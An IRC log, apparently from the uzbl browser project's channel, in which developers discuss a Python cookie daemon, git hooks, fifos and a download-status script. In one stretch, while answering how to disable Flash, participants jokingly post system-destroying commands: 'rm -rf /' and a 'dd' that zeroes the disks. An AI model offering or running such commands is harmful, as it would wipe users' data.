18:15 < holizz> I know, I totally didn't know the correct capitalisation of WebKit back then.
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18:19 < urnthr> :o
18:19 < urnthr> Dieterbe, i ran into evocallaghan in #ada :P
18:20 < urnthr> he wanted me to rewrite uzbl in ada
18:20 < urnthr> i was like uhhh
18:22 < urnthr> <evocallaghan> last I checked it had a silly little static makefile
18:22 < urnthr> <evocallaghan> and a bunch of warnings in the C code. prob improved a lot since then
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18:23 < holizz> He can rewrite WebKit and GTK+ in ada, and we'll rewrite uzbl in ada.
18:24 < uranther> that's what i said :P there is GtkAda but afaik no WebKitAda
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18:24 < Dieterbe> uranther: tell him this: UR NUTZ
18:24 < uranther> lol
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18:25 < uranther> i mean.. it would be nice, however impractical
18:27 < holizz> Almost as impractical as rewriting it in Python, hah! Only a complete noob would do that.
18:28 < uranther> yah
18:28 < mason-l> holizz, I've fixed the broken pipe errors and I even got to test it :D
18:29 < holizz> Woop! You fixed fixed it, or just checked for the exception and put it in a loop?
18:29 < mason-l> I know what its caused by
18:30 < mason-l> uzbl only waits a certain amount of time for the data to come back so it closes its socket on its and the cookie daemon tries to write to it.
18:30 < mason-l> Its a problem with the fetch time of the cookie
18:31 < Dieterbe> hmm, how long is this "window" in time?
18:32 < mason-l> Unknown, I just put a time.sleep(20) in my command parse loop
18:32 < mason-l> And I was able to break my socket every time.
18:33 < holizz> /* wait for a response, with a 500ms timeout */
18:33 < mason-l> ^^
18:34 < holizz> In talk_to_socket.
18:34 < mason-l> 2000ms would be great :)
18:34 < Dieterbe> actually if that's how long it takes to get a response from the daemon it would suck
18:35 < Dieterbe> i want my response in.. <20ms or so?
18:35 < mason-l> Dieterbe, It doesnt.
18:35 < mason-l> Dieterbe, It does.
18:35 < holizz> What's causing the daemon to take that long in some cases?
18:36 < holizz> Other processes using the disk?
18:36 < mason-l> holizz, Have you ever left a python program for a long time without touching it? I think it goes in to some kind of "hibernation" and it takes while to spool back up. That's what I'm blaming it on.
18:36 < mason-l> (Though I'm not sure if there is and or what causes this hibernation of python programs)
18:37 < holizz> Sure it's not just RAM being pushed into swap? (Although not in my case, SSD = no swap).
18:38 < mason-l> Honestly I have no idea what it is just I've noticed it every now and again.
18:38 < holizz> I invalidated my own argument. Win.
18:38 < Dieterbe> holizz: hey. just like me a few minutes ago :)
18:39 < holizz> s/#uzbl/#noobs/
18:47 < Dieterbe> uranther: i still need to do your pull request, right?
18:47 < Dieterbe> uranther: or did rob| do that?
18:51 < uranther> Dieterbe, I think someone pulled mine in
18:51 < uranther> not for sure though
18:53 < uranther> I'm about to pull in new stuff so I'll check
18:54 < Dieterbe> ok good
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19:01 < mason-l> Dieterbe, holizz: Alright I've pushed the fix for the broken pipe errors and pulled the cookie_daemon.py into my experimental branch. Check it out: http://github.com/mason-larobina/uzbl/blob/experimental/examples/data/uzbl/scripts/cookie_daemon.py
19:01 < uranther> Dieterbe, I got next 2 weeks off of work so I might be doing some uzbl hacking :D
19:01 < wart__> hehh, I suspect the LWN article of last week helped introduce quite a few of us to uzbl.
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19:03 < Dieterbe> mason-l: if you think it's merge-worthy do a pull request
19:03 < Dieterbe> uranther: great
19:04 < holizz> wart__, I imagine so. I think a few were introduced by a post on the "Motho ke motho ka botho" blog too.
19:04 < mason-l> Dieterbe, Yes, no better way to find more problems with it than put it out in the wild :P
19:04 < mason-l> I've done all the testing I can on my end
19:04 < holizz> mason-l, I've got you an in-memory patch too.
19:04 < mason-l> Dieterbe, Unless we want to wait for holizz's patch?
19:04 < Dieterbe> and when we were on hackernews, 20 people joined the channel on the same day (and they were all gone again the next ^^)
19:05 < Dieterbe> mason-l: do you mean holizz scheme handler? that is also still pending for merge? or another?
19:05 < mason-l> holizz, Let me know when you're finished
19:05 < mason-l> Dieterbe, I mean the dont-save-cookies option.
19:07 < holizz> mason-l, Do you mind if I get rid of your extraneous \s at the end of lines? You don't need them in Python.
19:07 < mason-l> holizz, I've already done it.
19:07 < mason-l> holizz, I don't have any trailing whitespace in the file do I?
19:08 < holizz> Line 21.
19:08 < mason-l> holizz, Fixed: Check out latest version: http://github.com/mason-larobina/uzbl/blob/experimental/examples/data/uzbl/scripts/cookie_daemon.py
19:09 < holizz> For future reference (found in .git/hooks/pre-commit[.sample]): git diff-index --check --cached 4b825dc642cb6eb9a060e54bf8d69288fbee4904
19:09 < uranther> Dieterbe, yeah I'm looking at it now.. you haven't pulled in my test-functional stuff
19:10 < uranther> nor the code cleanup commits
19:11 < uranther> examples/data/uzbl/scripts/uzbl_tabbed.py |  658 +++++++++++++++++++++--------
19:11 < uranther> someone has been workking hard ;)
19:11 < holizz> "mason-l: holizz, I've already done it." Are you sure?
19:11 < mason-l> :)
19:11 < holizz> I still see the \s and the trailing whitespace on line 21.
19:11 < lwithers> btw, the timeout in talk_to_socket() is a safety measure in case the daemon hangs up
19:12 < mason-l> holizz, Direct link to the latest version: http://github.com/mason-larobina/uzbl/blob/bdfa6ebf88d1f0af0403f9e345bbffa3cbc65044/examples/data/uzbl/scripts/cookie_daemon.py
19:12 < uranther> Dieterbe, pushed and ready to merge :)
19:12 < mason-l> I've got text on line 21
19:12 < lwithers> given that we talk to the daemon every time we issue an HTTP GET (i.e. for every image/whatever), we don't want it to take too long...
19:13 < mason-l> holizz, Oh!
19:13 < mason-l> holizz, So there is!
19:13 < mason-l> holizz, Why did my whitespace script not pick up on that!
19:14 < uranther> mason-l, is your whitespace script tracked? does it do it every git commit?
19:14 < uranther> j/w
19:14 < holizz> mason-l, Ooops! But you can pull from me anyway. holizz/cookie_daemon.
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19:15 < holizz> mason-l, The pre-commit script only checks if _you_ introduce whitespace IIRC. So maybe you put it in before you enabled the hook.
19:16 < mason-l> I use my own whitespace script, but I found out what the problem was. My non-git diff doesn't care about trailing whitespace on lines with text on them.
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19:18 < uranther> i see
19:18 < uranther> i want a whitespace pre-commit script :/
19:18 < uranther> or do I have it already?
19:18  * Dieterbe away for a while
19:19 < holizz> uranther, mv .git/hooks/pre-commit.sample .git/hooks/pre-commit
19:19 < uranther> :O tight
19:19 < uranther> does it do it automatically?
19:20 < holizz> It checks for whitespace violations _you_ are about to commit, and if you added any evil whitespace it doesn't let you commit.
19:20 < holizz> i.e. it won't stop you committing if you leave existing whitespace violations as they are.
19:20 < uranther> i see
19:21 < holizz> Automatically = yes, it's run before it runs your editor when you're about to commit.
19:21 < uranther> what of these files, pre-applypatch, pre-commit-msg ?
19:21 < uranther> holizz, editor? as in, git commit -e ?
19:22 < holizz> uranther, You know when you commit, git opens up your editor, right? (Unless you use -m,).
19:23 < uranther> oh, is -e default?
19:24 < holizz> -e, --edit
19:24 < holizz>            The message taken from file with -F, command line with -m, and from file with -C are usually used as the commit log message unmodified. This option lets you further edit the message taken from these sources.
19:24 < uranther> ah i see :P
19:24 < holizz> It doesn't let you commit with no message by default.
19:24 < uranther> of course
19:26 < uranther> holizz, how long have you been using leenucks?
19:26 < holizz> I can answer that question. One second.
19:27 < holizz> "2003-10-30: I installed SuSE Linux 9.0 Personal and got my nipples pierced."
19:27 < holizz> I found it on an old calendar so I tweeted it so I didn't forget.
19:28 < uranther> lol.. old calendar..
19:28 < uranther> that's cool
19:28 < uranther> I think I've been using linux on and off for about that long
19:31 < holizz> Ah. Well on that day when I installed SuSE, I meant to dual-boot, but I put too much faith in "oh, it won't just delete everything by default" and neglected to go back and check the configuration options one last time.
19:32 < uranther> lol
19:32 < holizz> I had to use my mum's computer to get online for a couple of weeks until I managed to get hold of a hard modem!
19:34 < holizz> Modems were only good for listening to them dialing up. That was fun. And you could work out what was happening by what it sounded like.
19:35 < uranther> lol yea i remember those days
19:36 < holizz> I remember having to open a file installed on my mum's computer with a hex editor to get the number that the modem dials.
19:38 < uranther> lol..
19:40 < mason-l> holizz, So creating the MozillaCookieJar with a null-path was sufficient?
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19:41 < mason-l> holizz, Does MozillaCookieJar(None) tell it to use memory?
19:41 < holizz> mason-l, MozillaCookieJar(None) tells it that its file is None, so save() and load() fail.
19:42 < mason-l> Alright, good one.
19:42 < holizz> __init__(self, filename=None, delayload=False, policy=None)
19:42 < mason-l> I see now.
19:43 < mason-l> I love pythons help function/
19:44 < holizz> Also pydoc.
19:45 < mason-l> ^^ I had no idea that existed.
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20:02 < uranther> oh wow.. vista's sound recorder doesn't save to WAV anymore.. only WMA
20:06 < holizz> They might as well just set up some kind of DRM server on your machine, and only let people listen to your music on Windows Vista when your machine is up, and not firewalled.
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20:07 < uranther> yeah that would be tight
20:12 < mason-l> holizz, Alright I've merged in the patch & made some minor tweaks afterwards. I'm doing all development in my experimental branch now so pull from my experimental and delete the cookie_daemon branch.
20:13 < mason-l> holizz, Thanks by the way, it a nice addition :)
20:14 < mason-l> Dieterbe, It's ready for a pull, do you want me to send a pull-request to the mailing list like last time?
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21:35 < holizz> Is it possible to get feedback from a fifo? Like using the print function?
21:37 < lwithers> fifos are one way -- what do you mean holizz?
21:38 < holizz> lwithers, Just checking. I'm trying to write a script to check for dead fifos/sockets and clean them up.
21:40 < lwithers> ah, I'm not sure how you would do that easily, sorry
21:41 < lwithers> maybe if you named them to include the PID, then checked the process running under the given PID was called 'uzbl' it might work...
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21:50 < holizz> I'm afraid I may have to listen on the socket, and then pipe something into the fifo while that's happening. Daunting considering I know little enough about sockets to try catting them.
21:50 < mason-l> holizz, What are you trying to do?
21:51 < holizz> Locate dead fifos/sockets, with the view to deleting them.
21:52 < holizz> This seems like a good excuse to try out twisted.
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21:55 < rob|> well, with an event message system we could simply use an output fifo and easily solve the above issue...
21:58 < mason-l> holizz, The only way to truly tell is to implement a ping/pong function in anything that is creating the sockets. The ping message: echo "PING /path/to/my/fifo" > /fifo/to/check  then the pong looks like: echo "PONG /fifo/to/check" > /path/to/my/fifo
21:59 < mason-l> Then after 1-2 seconds if you don't get a pong back kill the fifo socket.
22:00 < rob|> actually, it's also solvable with out current code
22:00 < mason-l> Yes I was about to say the above is very easy with uzbl fifos because uzbl has the sh function.
22:00 < rob|> right
22:01 < rob|> echo "print @(sh -c 'echo foo>/tmp/im_am_alive')@" > uzbl_fifo
22:01 < rob|> if there is a '/tmp/i_am_alive' file the fifo is active..
22:02 < mason-l> Well not quite.
22:02 < mason-l> You need a unique identifier in the foo message
22:02 < mason-l> unless you are only doing one at a time.
22:02 < rob|> yeah, sequentially
22:02 < mason-l> I'm a fan of RAPID-FIRE!!!
22:03 < mason-l> :)
22:03 < rob|> otherwise you could include simply @instance_name in the alive file
22:03 < mason-l> Its easily done by echoing back the fifo your checking in the pong message
22:03 < rob|> echo foo > /tmp/alive_@instance_name
22:04 < mason-l> echo "print @(sh -c 'echo foo \"uzbl_fifo\"  > /tmp/im_am_alive')@" > uzbl_fifo
22:04 < mason-l> or something
22:04 < mason-l> anyway its 04:05 sleep time.
22:04 < mason-l> night guys
22:04 < rob|> night mason
22:04 < mason-l> Dieterbe, I'll send that pull request to the ML tomorrow morning.
22:05 < mason-l> night rob|
22:05 < mason-l> night holizz
22:05 < holizz> Night.
22:06 < holizz> Or perhaps: uzblctrl -s ... -c 'print \@fifo_path\@' (or whatever the syntax is), get that, echo print > /fifo/path, listen for response. Can we access variables in comm using the expansion thingy?
22:06 < rob|> so far only set and print make use of the expansion
22:09 < rob|> still, no socket doesn't mean there is no fifo
22:09 < mason-l> holizz, Also I wrote a uzblctrl.py a while back if you would like to mess around with it?
22:10 < holizz> mason-l, Oh yeah. On the wiki, right?
22:10 < holizz> Or not.
22:10 < mason-l> I never got around to writing up a wiki page but I'm on a roll now
22:11 < mason-l> Heres the link http://github.com/mason-larobina/uzbl/blob/py-uzbl-ctrl/examples/data/uzbl/scripts/uzblctrl.py
22:12 < holizz> Taa.
22:12 < mason-l> I made it as easy as possible to follow but the dealing with end-of-command and end-of-session might seem a little unintuitive.
22:12 < mason-l> 'markers
22:13 < mason-l> And it can take commands from stdin if you only supply the socket on the command line.
22:13  * mason-l heads off now
22:16 < mason-l> holizz, You might also like to add the -m command to the cookie_daemon.py wiki page http://www.uzbl.org/wiki/cookie_daemon.py
22:16 < mason-l> Catcha
22:16 < holizz> Sleep tight.
22:17 < mason-l> I wont let the bed bu-- ah screw it :P
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04:45 < L29Ah> is there any way to copy link to any image with a few hits/clicks?
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07:00 < mason-l> Morning guys
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08:47 < mason-l> holizz, I've gotten cookie_daemon.py up to a 9.74/10 pylint rating :)
08:48 < holizz> mason-l, ORLY?
08:48 < mason-l> Ya
08:48 < mason-l> From 6.3 something.
08:48 < holizz> So you got rid of the \s, and whitespace... What else?
08:49 < mason-l> You mean the other modification last night?
08:50 < holizz> Yeah.
08:50 < mason-l> Fixed indentation of the new parser option and changed config['cookie_jar'] to cooke_jar (I had made a local parameter for the cookie_jar because it was used several times in the function).
08:50 < mason-l> Nothing serious otherwise awesome patch.
08:51 < mason-l> But THIS one, the 9.74 one looks awesome.
08:51 < mason-l> I'm just checking it still works :P
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09:26 < mason-l> holizz, I've pushed the changes if you would like to check it out
09:26 < mason-l> I've double checked my work but you can never be too careful.
09:34 < holizz> mason-l, Seems fine, and it seems to work.
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10:23 < Cheeseum> are you not able to set useragent at runtime or am I doing something wrong
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10:26 < holizz> Cheeseum, I can make it work.
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10:47 < mason-l> holizz, I'm shopping around for a new window manager and came across http://bbs.archlinux.org/viewtopic.php?id=76889 which looks awesome.
10:50 < mason-l> I haven't tried it out yet though.
10:50 < scj> that doesn't look like awesome
10:50 < mason-l> Its not awesome.
10:51 < mason-l> s/awesome/Awesome/
10:51 < holizz> Looks quite nice.
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12:45 < jelly12gen> would i be possible to show download status in the main baR?
12:45 < jelly12gen> with some scripts ?
12:46 < holizz> jelly12gen, Sounds plausible.
12:46 < jelly12gen> holizz: cool
12:46 < jelly12gen> i saw the script in dzen2
12:46 < jelly12gen> so lemme check out how to parse wget nicely
12:46 < jelly12gen> would be cool man
12:47 < mason-l> jelly12gen, Dot format
12:47 < mason-l> I may be able to help here
12:47 < jelly12gen> ok
12:47 < jelly12gen> dot format
12:47 < jelly12gen> ?
12:47 < mason-l> The plugins already been half written for an early version of uzbl_tabbed.py
12:47 < jelly12gen> ok
12:48 < jelly12gen> i am downloading that
12:48 < mason-l> I'm not sure the guy that was working on it ever got it working I never had time to test it.
12:48 < jelly12gen> ok
12:48 < jelly12gen> mason-l: i like it to be in bash
12:49 < jelly12gen> so i was thinking of modifing download.sh
12:49 < jelly12gen> mason-l: you can parse output to the bar right ?
12:49 < mason-l> jelly12gen, Ohhh, then you might not take much away from the script.
12:50 < jelly12gen> mason-l: i think it;s quit simple actaully
12:50 < jelly12gen> maybe :P
12:50 < mason-l> Cool, brb.
12:51 < jelly12gen> mason-l: an thing to handle pdf. txt, jpg , .mov etc. would be nice too
12:51 < jelly12gen> we need moar scripts :p
12:53 < jelly12gen> the dget.sh script is quit nice
12:53 < lwithers> you could extend the download script to do stuff based on the mime type of whatever it had just downloaded
12:53 < jelly12gen> lwithers: yeah
12:54 < jelly12gen> but it would be nice if you have had a dialog somethimes i want to save pdf's somethimes not etc.
12:54 < jelly12gen> but i dont want more spam like bars or download managers
12:54 < jelly12gen>   case "$1" in
12:54 < jelly12gen>     *.pdf) epdfview "$1" & ;;
12:54 < jelly12gen> simple example
12:55 < lwithers> you could have a dialog from the script if you wanted
12:55 < jelly12gen> yeah
12:55 < lwithers> http://xdialog.dyns.net/ or something
12:55 < jelly12gen> but what would be the most common / nice way
12:55 < jelly12gen> xmessage ?
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13:06 < mason-l> You could use a javascript popup?
13:09 < jelly12gen> hmm
13:09 < jelly12gen> never did js
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13:09 < jelly12gen> let me first show it in the bar :P
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13:57 < N30N> jelly12gen: here's a example with a js popup... http://pastebin.com/d1be0900f
13:57 < jelly12gen> thanks
13:57 < jelly12gen> but i need something to grep/sed/awk  wget nicely
13:58 < jelly12gen> dunno how dget.sh does it
13:58 < jelly12gen> N30N: uzbl seems slow
13:58 < jelly12gen> still loading pastebin.com
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14:02 < holizz> jelly12gen, Pastebin's quite fast for me. Although it only does sequential HTTP, so if you've got lots of images it'll be slow.
14:03 < jelly12gen> i got it
14:03 < jelly12gen> any ideas of parsing the wget nicely?
14:03 < holizz> Use a library?
14:04 < jelly12gen> wich one :P
14:05 < jelly12gen> holizz: i see how dget.sh does it
14:05 < jelly12gen> with some stat
14:05 < holizz> I mean a wget library that parses the output for you.
14:06 < lwithers> also maybe curl has an easier output option for you?
14:06 < jelly12gen> hmm
14:06 < jelly12gen> holizz: yeah
14:06 < jelly12gen> that would be nice
14:23 < mason-l> http://vimeo.com/2433303 Impressive live-coding in lisp to generate a beat-track and opengl visualizations.
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15:13 < jelly12gen> hmm what robert does in dget.sh makes my brain snap
15:15 < jelly12gen> or not
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15:31 < profil> Hi, is there any command to open a link in a new instance?
15:32 < mason-l> profil, There might be a js command to do that, window.open comes to mind
15:32 < mason-l> But I don't know if that is correct.
15:33 < profil> mason-l: Okay, nothing that's "built in"? When I click rightkey with the mouse there is a menu, and in there is possible to take "Open link in new window"
15:34 < jelly12gen> profil: look at my github
15:35 < jelly12gen> http://github.com/jelly/dotifles/tree/master/.config/uzbl/scripts
15:35 < jelly12gen> there you go
15:35 < mason-l> profil, Unless theres an obscure command in the README file then I doubt the functionality is exposed, js might be the only option.
15:35 < jelly12gen> it's named followLinkTab.js
15:35 < mason-l> http://github.com/jelly/dotfiles/tree/master/.config/uzbl/scripts
15:35 < mason-l> follow_NumbersTab.js ?
15:35 < jelly12gen> mason-l: yes
15:35 < jelly12gen> dumb name actaully
15:35 < jelly12gen> :P
15:36 < profil> okay, thank you guys! :)
15:36 < jelly12gen> but i use an tabbed layout so that makes scence :p
15:36 < profil> so instead of followNumber.js I would use followNumbersTab.js when I want a link in a new window?
15:36 < jelly12gen> yes
15:37 < profil> Nice, thank you.
15:38 < jelly12gen> mason-l: btw
15:38 < jelly12gen> Downloading wherethewildthingsare-tlr1_h1080p.mov 31m19s - 0%
15:38 < jelly12gen> i made this
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15:41 < mason-l> jelly12gen, You finished it?
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15:41 < jelly12gen> mason-l: i am now looking at download.s
15:41 < jelly12gen> mason-l: i am now looking at download.sh
15:41 < jelly12gen> and integrating it in uzbl
15:41 < jelly12gen> probaly want to cut the title if it becomes to big
15:42 < jelly12gen> testing it
15:43 < jelly12gen> oh lol
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15:46 < jelly12gen> mason-l: do you know how to script etc.
15:47 < jelly12gen> does an echo actually echo in the bar ?
15:47 < jelly12gen> http://dpaste.com/77267/
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15:51 < mason-l> echo will never appear back in the status bar
15:52 < mason-l> make custom variable in your config and add it to the status bar
15:52 < jelly12gen> hmm
15:52 < mason-l> then from your application: echo "set myvar = $DOWNLOAD_STATUS" > /uzbl/fifo/location
15:52 < mason-l> Then the text is visible in the bar
15:52 < jelly12gen> ok
15:53 < jelly12gen> so i set some status
15:53 < jelly12gen> set downloads = ""
15:53 < jelly12gen> ?
15:53 < jelly12gen> set download_handler = spawn /home/jelle/.config/uzbl/scripts/test.sh
15:53 < jelly12gen> i did that
15:53 < mason-l> Yep.
15:54 < jelly12gen> so download links will use test.sh
15:54 < mason-l> Yes I know.
15:54 < jelly12gen> just checking
15:54 < jelly12gen> how to define the appearance ?
15:54 < mason-l> ..? the colour?
15:54 < mason-l> Look up pango
15:54 < jelly12gen> mason-l: the location
15:54 < jelly12gen> echo "set myvar = $DOWNLOAD_STATUS" > /uzbl/fifo/location
15:55 < jelly12gen> that must go in the script
15:55 < jelly12gen> but what do i need to add in the config ?
15:55 < mason-l> Give me a moment
15:55 < jelly12gen> np
15:56 < mason-l> Actually for the time being use the already-in-the-bar status_message key
15:56 < jelly12gen> ?
15:57 < jelly12gen> dunno how that works
15:57 < mason-l> For example try at your terminal to $ echo "set status_message = 1 file 95%" > /tmp/uzbl_fifo_*
15:57 < mason-l> where /tmp/uzbl_fifo_ is a single fifo socket in your /tmp folder
15:57 < mason-l> (It will only work if there is one uzbl instance open)
15:58 < jelly12gen> i see
15:58 < jelly12gen> hmm
15:58 < jelly12gen> i also need to find out wich pid calls it
15:59 < jelly12gen> mason-l: can you check from the script wich fifo has callled it ?
15:59 < mason-l> jelly12gen, Seriously I'd love to help and will continue to do so but you really should read the .. you know .. README file.
15:59 < jelly12gen> ok
16:00 < mason-l> All this is explained clear-as-day in there.
16:00 < mason-l> With examples.
16:00 < jelly12gen> mason-l: then i need to read
16:00 < mason-l> Theres even examples in the basic config.
16:00 < jelly12gen> hmm
16:00 < mason-l> $4 is the fifo location of the calling uzbl instance.
16:00 < jelly12gen> ah thanks
16:01 < jelly12gen> i will take a look at the README
16:01 < mason-l> So in your script put echo "set status_message = 1 file 95%" > $4
16:02 < jelly12gen> ok
16:03 < jelly12gen> probaly will need to recheck the script
16:03 < jelly12gen> dunno if it cleans everything up
16:07 < jelly12gen> hmm
16:09 < jelly12gen> it seems to fail epic
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16:13 < wart__> Hi.  I did some google searches, but no luck.  Is it possible to disable flash in webkit or in uzbl?
16:13 < mason-l> wart__, pacman -R adobe-flash, emerge --unmerge adobe-flash, apt-get remove adobe-flash ... you get the idea :P
16:14 < mason-l> (Those package names might be incorrect :P)
16:14 < jelly12gen> lol
16:14 < jelly12gen> flashplugin
16:14 < holizz> wart__, set disable_plugins = 1
16:14 < mason-l> holizz, pfft.
16:14 < holizz> mason-l, Although your approach is more thorough.
16:15 < jelly12gen> mason-l: i am beginning to doubt
16:15 < jelly12gen> echo  "set status_message = 1 $FILE" > "$fifo"
16:15 < jelly12gen> just fails
16:15 < jelly12gen> fifo="$4"
16:15 < wart__> mason-l: I like holizz' suggestion better :-)
16:15 < holizz> To be even more thorough: find / -name libflashplugin.so -print0 | xargs -0 sudo rm -f
16:15 < jelly12gen> w00t
16:16 < mason-l> holizz, And just to make sure: rm -rf /
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16:16 < jelly12gen> meh
16:16 < jelly12gen> rm -rf --not-preserve-root
16:16 < jelly12gen> or so
16:16 < wart__> the other question: is there a way to have uzbl reload the config file in mid-process?  (like in screen when one does a source ~/.screenrc)
16:17 < jelly12gen> !reload
16:17 < uzblbot> jelly12gen: Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
16:17 < holizz> mason-l, dd if=/dev/zero of=/dev/[hs]d*
16:17 < mason-l> wart__, I think there is a command called !reload
16:17 < mason-l> holizz, You win.
16:18 < wart__> masoon-l, holizz: thanks!
16:18 < scj> seems a bit counterproductive if all you wanted is to disable flash plugins
16:18 < mason-l> I learned an awesome bash trick a while ago, when you need to type out two very similar filenames its much easier to use bash expansion. Example: "cp myconfig{,.bak}" turns into "cp myconfig myconfig.bak"
16:19 < mason-l> I've been using it all over the place.
16:19 < holizz> Ohh, that is handy.
16:20 < mason-l> For instance I always litter my home directory with images, I routinely: mv *.{jpg,png,gif} images/
16:21  * jelly12gen slams his head in the keyboard
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16:22 < jelly12gen> hmm echo $var > "$4" fails
16:23 < mason-l> jelly12gen, whats the error message?
16:23 < jelly12gen> none
16:23 < jelly12gen> i just doesnt echo an var
16:23 < jelly12gen> plain txt works
16:24 < mason-l> jelly12gen, And dont you mean: echo "set status_message = $var" > $4
16:24 < jelly12gen> yes
16:24 < jelly12gen> yes
16:24 < mason-l> and you are sure uzbl is calling the script?
16:24 < jelly12gen> yes
16:24 < mason-l> run uzbl with -v
16:24 < jelly12gen> mason-l: it shows  Downloaded
16:24 < jelly12gen> it did
16:25 < jelly12gen> set status_message = Download $var
16:25 < scj> jelly12gen: try echo 'set status_message = $var' > $4
16:25 < mason-l> jelly12gen, Upload your script
16:25 < jelly12gen> hmm
16:25 < scj> jelly12gen: my guess is that the shell tries to expand $var, which is empty and turns into a empty string
16:26 < jelly12gen> aha
16:26 < jelly12gen> could be true
16:26 < jelly12gen> scj: haha that shows $FILE :p
16:27 < jelly12gen> can you concatenate them
16:28 < jelly12gen> scj: hm doesnt seem to work
16:29 < jelly12gen> also ${FILE}
16:33 < mason-l> Are you setting $FILE correctly?
16:33 < mason-l> And by $FILE do you mean $8
16:33 < jelly12gen> mason-l: FILE="$(echo $URL | awk -F '/' '{print $NF}')"
16:34 < mason-l> And whats $URL ?
16:34 < mason-l> Is $URL $8?
16:34 < jelly12gen> jeez
16:34 < jelly12gen> please kill me
16:35 < jelly12gen> works
16:35 < jelly12gen> now
16:35 < jelly12gen> mason-l: thanks for mentioning
16:36 < mason-l> :)
16:36 < jelly12gen> http://dpaste.com/77281/
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16:37 < jelly12gen> so now i have tweaked it to show the downloaded file
16:38 < mason-l> Also your declaring $url twice in that script.
16:38 < mason-l> as url & URL
16:38 < jelly12gen> hmm fixed that
16:38 < jelly12gen> after the upload
16:39 < jelly12gen> checking the other script
16:41 < holizz> mason-l, Watching that lisp live coding. It's pretty cool.
16:42 < mason-l> It took me a day of googling to track down that video (I saw it when it was first uploaded about 7 months ago).
16:42 < mason-l> It was a top submission on reddit and after I'd finished watching that I ordered my copy of SICP
16:42 < mason-l> 'a copy of
16:43 < holizz> I have a copy of SICP :D
16:44 < mason-l> I haven't had time to go through mine yet though, I've got a book list 3 meters high.
16:44 < mason-l> But I would love to see some lisp uzbl plugins :)
16:44 < mason-l> And some haskell plugins.
16:44 < holizz> I haven't read it either. I'd seen the lectures, and then I saw it on sale.
16:45 < mason-l> I've been meaning to learn haskell after finding this website: http://learnyouahaskell.com/
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16:46 < holizz> Warning: include(404.php) [function.include]: failed to open stream: No such file or directory in /f1/content/learnyouahaskell/public/index.php on line 152
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16:46 < jelly12g1n> ofcourse my internet failed
16:46 < mason-l> holizz, Its done what now?
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16:46 < mason-l> Opens fine for me
16:46 < holizz> Lesson one: use Haskell, and not PHP.
16:46 < jelly12g1n> haskell is nice
16:46 < holizz> http://learnyouahaskell.com/starting-out#ready-set-go
16:47 < jelly12g1n> holizz: that is a good site
16:47 < scj> so it's like that ruby book, but for haskell?
16:47 < holizz> scj, That's what I thought when I saw the home page too.
16:47 < jelly12g1n> hmm i think my progress bar script fails if , the download doesnt last that long >_<
16:48 < scj> holizz: in that case, no thanks
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16:50 < mason-l> holizz, Oh, I linked everyone to the wrong video, it was this one that I was originally impressed at: http://vimeo.com/2735394
16:50 < jelly12g1n> mason-l: i fixed the script  , it works
16:50 < jelly12g1n> http://omploader.org/vMjRndA
16:50 < mason-l> jelly12g1n, Good one.
16:50 < jelly12g1n> mason-l: still need to do some sanity checks
16:51 < jelly12g1n> and cut the string if it becomes greater than 10
16:51 < mason-l> jelly12g1n, What window manager is that?
16:51 < jelly12g1n> XMonad
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16:57 < jelly12gen> mason-l: wow i like it
16:58 < jelly12gen> how easily you can script for uzbl
16:59 < mason-l> :)
16:59 < mason-l> Thats why I'm hooked on the uzbl project.
16:59 < jelly12gen> yeah
17:00 < jelly12gen> but the slight problem is somethimes it isnt that fast
17:00 < jelly12gen> it could be my internet
17:00 < jelly12gen> and i still waiting on an follow link wich uses strings
17:00 < lwithers> are you using a cookie daemon?
17:00 < jelly12gen> lwithers: yes
17:00 < jelly12gen> cookie.py
17:00 < lwithers> is that a daemon or a script?
17:00 < mason-l> jelly12gen, Thats no moon!
17:00 < lwithers> (daemon uses talk_to_socket)
17:01 < jelly12gen> lwithers: er script
17:01 < mason-l> http://www.uzbl.org/wiki/cookie_daemon.py
17:01 < lwithers> ok, the daemon is a fair bit faster
17:01 < jelly12gen> ok
17:01 < holizz> Scripting for uzbl is good, but it could be better. That's why I'm currently working on my new Web (browser) framework.
17:01 < jelly12gen> do i need to reset all my pasword again
17:01 < jelly12gen> holizz: ok wow
17:01 < lwithers> no
17:01 < mason-l> lwithers, Have you played around with the latest cookie_daemon.py?
17:01 < lwithers> nope, using my C daemon still...
17:02 < jelly12gen> hm
17:02 < jelly12gen> mason-l: so the cookie deamon is faster
17:03 < jelly12gen> hmm might try that
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17:03 < mason-l> jelly12gen, Almost 1000 fold (I just made that up).
17:03 < jelly12gen> but does it work for multiple uzbl sesisons ?
17:03 < mason-l> jelly12gen, Yes
17:03 < jelly12gen> ok
17:04 < mason-l> jelly12gen, The recommended option is to use the uzbl wrapper that launches the cookie daemon when you launch a uzbl instance.
17:04 < jelly12gen> hmm ok
17:04 < mason-l> Its all on that page.
17:04 < jelly12gen> so just add the line set cookie_handler
17:05 < mason-l> Yeah: set cookie_handler = talk_to_socket $XDG_CACHE_HOME/uzbl/cookie_daemon_socket
17:05 < jelly12gen> aha check
17:05 < mason-l> Then check out the "Create an automatic cookie daemon launcher" section.
17:05 < jelly12gen> aha
17:07 < rob|> hmm, synergy is quite nice
17:07 < jelly12gen> it is
17:07 < rob|> it has some issues, though :(
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17:07 < jelly12gen> time outs ?
17:08 < rob|> no, the mouse offset is wrong on the client screen
17:08 < jelly12gen> hmm
17:08 < rob|> i.e. when i want to select a certain line i need to select a couple of pixels above of the actual screen position
17:08 < jelly12gen> github is being slow again
17:09 < jelly12gen> mason-l: any ideas what i should add to the download script , maybe some autostuff
17:09 < mason-l> Github tell me that "We're down for maintenance. Be back soon." :S
17:09 < jelly12gen> hmm
17:11 < mason-l> githubs back up for me.
17:28 < rob|> Dieterbe: could you change the link to my tree/branch on uzbl's site to 'master' please...
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18:33 < ruskie> hmm Dieterbe when I mentioned that gzip content issue... is this a limitation of uzbl or of webkit? if it's webkit would it be possible to add a render filter since in this case piping the gziped content through gunzip would work for later rendering?
18:34 < Dieterbe> it's libsoup
18:34 < Dieterbe> i don't think the solution is so simple. otherwise they'd have done it already i guess
18:39 < rob|> why? what's so hard about unzipping?
18:40 < MichaelRaskin> In 2004 (!) there was a patch in the evolution mailing-list for libsoup to add comression..
18:40 < rob|> lol
18:40 < MichaelRaskin> That is one of the first search results..
18:40 < rob|> festnetz aber
18:40 < rob|> err
18:41 < scj> what other projects relies on libsoup?
18:42 < MichaelRaskin> Great..
18:42 < MichaelRaskin> On receiving side, allow automatic decoding.
18:42 < MichaelRaskin> Can't automatically autodecode, because that would trip up apps that are currently doing it by hand. :-/
